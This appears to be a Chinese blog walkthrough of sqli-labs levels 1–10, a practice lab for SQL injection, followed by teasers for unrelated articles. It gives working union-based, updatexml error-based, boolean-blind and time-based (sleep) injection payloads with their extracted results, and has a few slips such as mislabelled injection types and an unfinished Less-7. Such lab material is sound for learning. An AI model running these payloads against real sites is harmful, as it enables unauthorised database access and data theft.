sqli --【1--10】
Less-1(联合查询)
1.查看是否有回显
2.查看是否有报错
3.使用联合查询(字符注入)
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-2(联合查询)
1.查看是否有回显
2.查看是否有报错
3.使用联合查询(数字型注入)
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-3(联合查询)
1.查看是否有回显
2.查看是否有报错
3.使用联合查询(数字型注入)
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-4(联合查询)
1.查看是否有回显
2.查看是否有报错
3.使用联合查询(数字型注入)
3.1判断其列数
3.2 判断显示位置
3.3敏感信息查询
Less-5(错误注入)
1.无显示
2.有错误
3.使用错误注入
Less-6(错误注入)
1.无显示
2.有错误
3.使用错误注入
Less-7(读写文件)
1.查看是否有回显
Less-8(布尔盲注)
1.没有回显
2.没有报错
3.布尔盲注获取数据库名
4.计算数据库名字的位数
5.猜测每一位
Less-9(延时注入--1‘)
1.没有回显
2.没有报错
3.使用延时注入
4.分别查看每一位
Less-10(延时注入--1“)
1.没有回显
2.没有报错
3.使用延时注入
4.分别查看每一位
Less-1(联合查询)
1.查看是否有回显
?id=1

2.查看是否有报错
?id=2'

3.使用联合查询(字符注入)
3.1判断其列数
?2' order by 4 --+ 判断有3列

3.2 判断显示位置
?id=2' and 1=2 union select 1,2,3 --+ 此处为字符型注入,要确定前一段为假

3.3敏感信息查询
?id=2' and 1=2 union select 1,version(),database() --+ version() --版本号 :5.7.26 database()--数据库名称 : security

Less-2(联合查询)
1.查看是否有回显
?id=1

2.查看是否有报错
?id=2'

3.使用联合查询(数字型注入)
3.1判断其列数
?2' order by 4 --+ 判断有3列

3.2 判断显示位置
?id=2' and 1=2 union select 1,2,3 --+ 此处为字符型注入,要确定前一段为假

3.3敏感信息查询
?id=2' and 1=2 union select 1,version(),database() --+ version() --版本号 :5.7.26 database()--数据库名称 : security

Less-3(联合查询)
1.查看是否有回显
?id=1

2.查看是否有报错
?id=2'

3.使用联合查询(数字型注入)
3.1判断其列数
?2') order by 4 --+ 判断有3列

3.2 判断显示位置
?id=2') and 1=2 union select 1,2,3 --+ 此处为字符型注入,要确定前一段为假

3.3敏感信息查询
?id=2') and 1=2 union select 1,version(),database() --+ version() --版本号 :5.7.26 database()--数据库名称 : security

Less-4(联合查询)
1.查看是否有回显
?id=1

2.查看是否有报错
?id=2"

3.使用联合查询(数字型注入)
3.1判断其列数
?2") order by 4 --+ 判断有3列

3.2 判断显示位置
?id=2") and 1=2 union select 1,2,3 --+ 此处为字符型注入,要确定前一段为假

3.3敏感信息查询
?id=2") and 1=2 union select 1,version(),database() --+ version() --版本号 :5.7.26 database()--数据库名称 : security

Less-5(错误注入)
1.无显示

2.有错误

3.使用错误注入
?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-6(错误注入)
1.无显示

2.有错误

3.使用错误注入
?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-7(读写文件)
1.查看是否有回显
根据 Use outfile判断,此处使用写入文件的方式

2.
Less-8(布尔盲注)
1.没有回显

2.没有报错

3.布尔盲注获取数据库名
?id=2' and database()='ajest' --+ 没有显示,成本太高

4.计算数据库名字的位数
?id=2' and length(database())>0 --+ ?id=2' and length(database())=8 --+ 显示八位


5.猜测每一位
?id=2' and ascii(substr((select database()),1,1))=115 --+
115 s
101 e
99 c
117 u
114 r
105 i
116 t
121 y
数据库:security

Less-9(延时注入--1‘)
1.没有回显
?id=1

2.没有报错
?id=1'

3.使用延时注入
?id=1' and if(length((select version()))=6,sleep(5),1) --+ 版本号共有6位

4.分别查看每一位
?id=1' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+
53 5
46 .
55 7
46 .
50 2
54 6
版本号 :5.7.26






Less-10(延时注入--1“)
1.没有回显
?id=1

2.没有报错
?id=1"

3.使用延时注入
?id=1" and if(length((select version()))=6,sleep(5),1) --+ 版本号共有6位

4.分别查看每一位
?id=1" and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+
53 5
46 .
55 7
46 .
50 2
54 6
版本号 :5.7.26

相关文章:
sqli --【1--10】
Less-1(联合查询) 1.查看是否有回显 2.查看是否有报错 3.使用联合查询(字符注入) 3.1判断其列数 3.2 判断显示位置 3.3敏感信息查询 Less-2(联合查询) 1.查看是否有回显 2.查看是否有报错 3.使用…...
《自然语言处理(NLP)的最新进展:Transformers与GPT-4的浅析》
🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…...
Wireshark 用命令行分析数据包
1,那些情况需要使用命令行 Wireshark一次性提供了太多的信息。使用命令行工具可以限制打印出的信息,最后只显示相关数据,比如用单独一行来显示IP地址。命令行工具适用于过滤数据包捕获文件,并提供结果给另一个支持UNIX管道的工具…...
LVS DR模式负载均衡群集部署
目录 1 LVS-DR 模式的特点 1.1 数据包流向分析 1.2 DR 模式的特点 2 DR模式 LVS负载均衡群集部署 2.1 配置负载调度器 2.1.1 配置虚拟 IP 地址 2.1.2 调整 proc 响应参数 2.1.3 配置负载分配策略 2.2 部署共享存储 2.3 配置节点服务器 2.3.1 配置虚拟 IP 地址 2.3.2…...
探讨前后端分离开发的优势、实践以及如何实现更好的用户体验?
随着互联网技术的迅猛发展,前后端分离开发已经成为现代软件开发的一种重要趋势。这种开发模式将前端和后端的开发工作分开,通过清晰的接口协议进行通信,旨在优化开发流程、提升团队协作效率,并最终改善用户体验。本文将深入探讨前…...
微博一面:JVM预热,你的方案是啥?
说在前面 在40岁老架构师 尼恩的读者社区(50)中,最近有小伙伴拿到了一线互联网企业如微博、阿里、汽车之家、极兔、有赞、希音、百度、网易、滴滴的面试资格,遇到一几个很重要的面试题: JVM预热,你的方案是啥?Springb…...
open与fopen的区别
1. 来源 从来源的角度看,两者能很好的区分开,这也是两者最显而易见的区别: open是UNIX系统调用函数(包括LINUX等),返回的是文件描述符(File Descriptor),它是文件在文件…...
Unity记录一些glsl和hlsl的着色器Shader逆向代码
以下内容一般基于 GLSL 300 之后 以下某些代码行,是“伪代码“,绝大部分是renderDoc 逆向产生标准代码 本人OpenlGL零基础,也不打算重头学 目录 Clip() 剔除函数 discard; FS最终颜色输出 out 和最终颜色相加方程…...
基于Sentinel的微服务保护
前言 Sentinel是Alibaba开源的一款微服务流控组件,用于解决分布式应用场景下服务的稳定性问题。Sentinel具有丰富的应用场景,它基于流量提供一系列的服务保护措施,例如多线程秒杀情况下的系统承载,并发访问下的流量控制ÿ…...
Collectors类作用:
一、Collectors类: 1.1、Collectors介绍 Collectors类,是JDK1.8开始提供的一个的工具类,它专门用于对Stream操作流中的元素各种处理操作,Collectors类中提供了一些常用的方法,例如:toList()、toSet()、to…...
LASSO回归
LASSO回归 LASSO(Least Absolute Shrinkage and Selection Operator,最小绝对值收敛和选择算子算法)是一种回归分析技术,用于变量选择和正则化。它由Robert Tibshirani于1996年提出,作为传统最小二乘回归方法的替代品。 损失函数 1.线性回…...
机器学习中的 K-均值聚类算法及其优缺点。
K-均值聚类算法是一种常见的无监督学习算法,它可以将数据集分成 K 个簇,每个簇内部的数据点尽可能相似,而不同簇之间的数据点应尽可能不同。下面详细讲解 K-均值聚类算法的优缺点: 优点: 简单易用:K-均值…...
云计算与虚拟化
一、概念 什么是云计算? 云计算(cloud computing)是分布式计算的一种,指的是通过网络“云”将巨大的数据计算处理程序分解成无数个小程序,然后,通过多部服务器组成的系统进行处理和分析这些小程序得到结果…...
Linux常见进程类别
目录 常见进程类别 守护进程&精灵进程 任务管理 进程组 作业 作业 | 进程组 会话 w命令 守护进程 守护进程的创建 setsid()函数 daemon()函数 模拟实现daemon函数 前台进程 | 后台进程 僵尸进程 | 孤儿进程 僵尸进程的一些细节 守护进程 | 后台进程 守护…...
智能小车之蓝牙控制并测速小车、wife控制小车、4g控制小车、语音控制小车
目录 1. 蓝牙控制小车 2. 蓝牙控制并测速小车 3. wifi控制测速小车 4. 4g控制小车 5. 语音控制小车 1. 蓝牙控制小车 使用蓝牙模块,串口透传蓝牙模块,又叫做蓝牙串口模块 串口透传技术: 透传即透明传送,是指在数据的传输过…...
指针进阶(一)
指针进阶 1. 字符指针面试题 2. 指针数组3. 数组指针3.1 数组指针的定义3.2 &数组名VS数组名 3.3 数组指针的使用4. 数组传参和指针传参4.1 一维数组传参4.2 二维数组传参4.3 一级指针传参4.4 二级指针传参 前言 指针的主题,我们在初级阶段的《指针》章节已经接…...
c# sql 判断表中是否包含指定字段
你可以使用以下方法来判断一个 SQL 数据库中的表是否包含指定的字段。 首先,你需要连接到数据库,然后执行一条 SQL 查询语句来检查表结构。你可以使用 SELECT 语句和 INFORMATION_SCHEMA.COLUMNS 系统视图来获取表中的所有列信息。 下面是一个示例代码…...
08-JVM垃圾收集器详解
上一篇:07-垃圾收集算法详解 如果说收集算法是内存回收的方法论,那么垃圾收集器就是内存回收的具体实现。 虽然我们对各个收集器进行比较,但并非为了挑选出一个最好的收集器。因为直到现在为止还没有最好的垃圾收集器出现,更加没…...
sql_mode详解
文章目录 一、sql_mode作用二、查询sql_mode三、mysql8默认的mode配置(6个默认配置)四、常见mode详细解释mysql8默认配置了的mode(6个)需要自己配置的mode(4个) 五、设置sql_mode(一旦设置了&am…...
Vue3的新特性总结
一、Vue3 里 script 的三种写法 首先,Vue3 新增了一个叫做组合式 api 的东西,英文名叫 Composition API。因此 Vue3 的 script 现在支持三种写法。 1、最基本的 Vue2 写法 <template><div>{{ count }}</div><button click"…...
UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
NLP学习路线图(二十三):长短期记忆网络(LSTM)
在自然语言处理(NLP)领域,我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感,还是实现语言的翻译,都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心,而循环神经网络(RNN) 曾被视为…...
Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)
目录 一、👋🏻前言 二、😈sinx波动的基本原理 三、😈波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、🌊波动优化…...
关键领域软件测试的突围之路:如何破解安全与效率的平衡难题
在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件,这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下,实现高效测试与快速迭代?这一命题正考验着…...
2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...
让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比
在机器学习的回归分析中,损失函数的选择对模型性能具有决定性影响。均方误差(MSE)作为经典的损失函数,在处理干净数据时表现优异,但在面对包含异常值的噪声数据时,其对大误差的二次惩罚机制往往导致模型参数…...
Chrome 浏览器前端与客户端双向通信实战
Chrome 前端(即页面 JS / Web UI)与客户端(C 后端)的交互机制,是 Chromium 架构中非常核心的一环。下面我将按常见场景,从通道、流程、技术栈几个角度做一套完整的分析,特别适合你这种在分析和改…...
海云安高敏捷信创白盒SCAP入选《中国网络安全细分领域产品名录》
近日,嘶吼安全产业研究院发布《中国网络安全细分领域产品名录》,海云安高敏捷信创白盒(SCAP)成功入选软件供应链安全领域产品名录。 在数字化转型加速的今天,网络安全已成为企业生存与发展的核心基石,为了解…...
电脑桌面太单调,用Python写一个桌面小宠物应用。
下面是一个使用Python创建的简单桌面小宠物应用。这个小宠物会在桌面上游荡,可以响应鼠标点击,并且有简单的动画效果。 import tkinter as tk import random import time from PIL import Image, ImageTk import os import sysclass DesktopPet:def __i…...
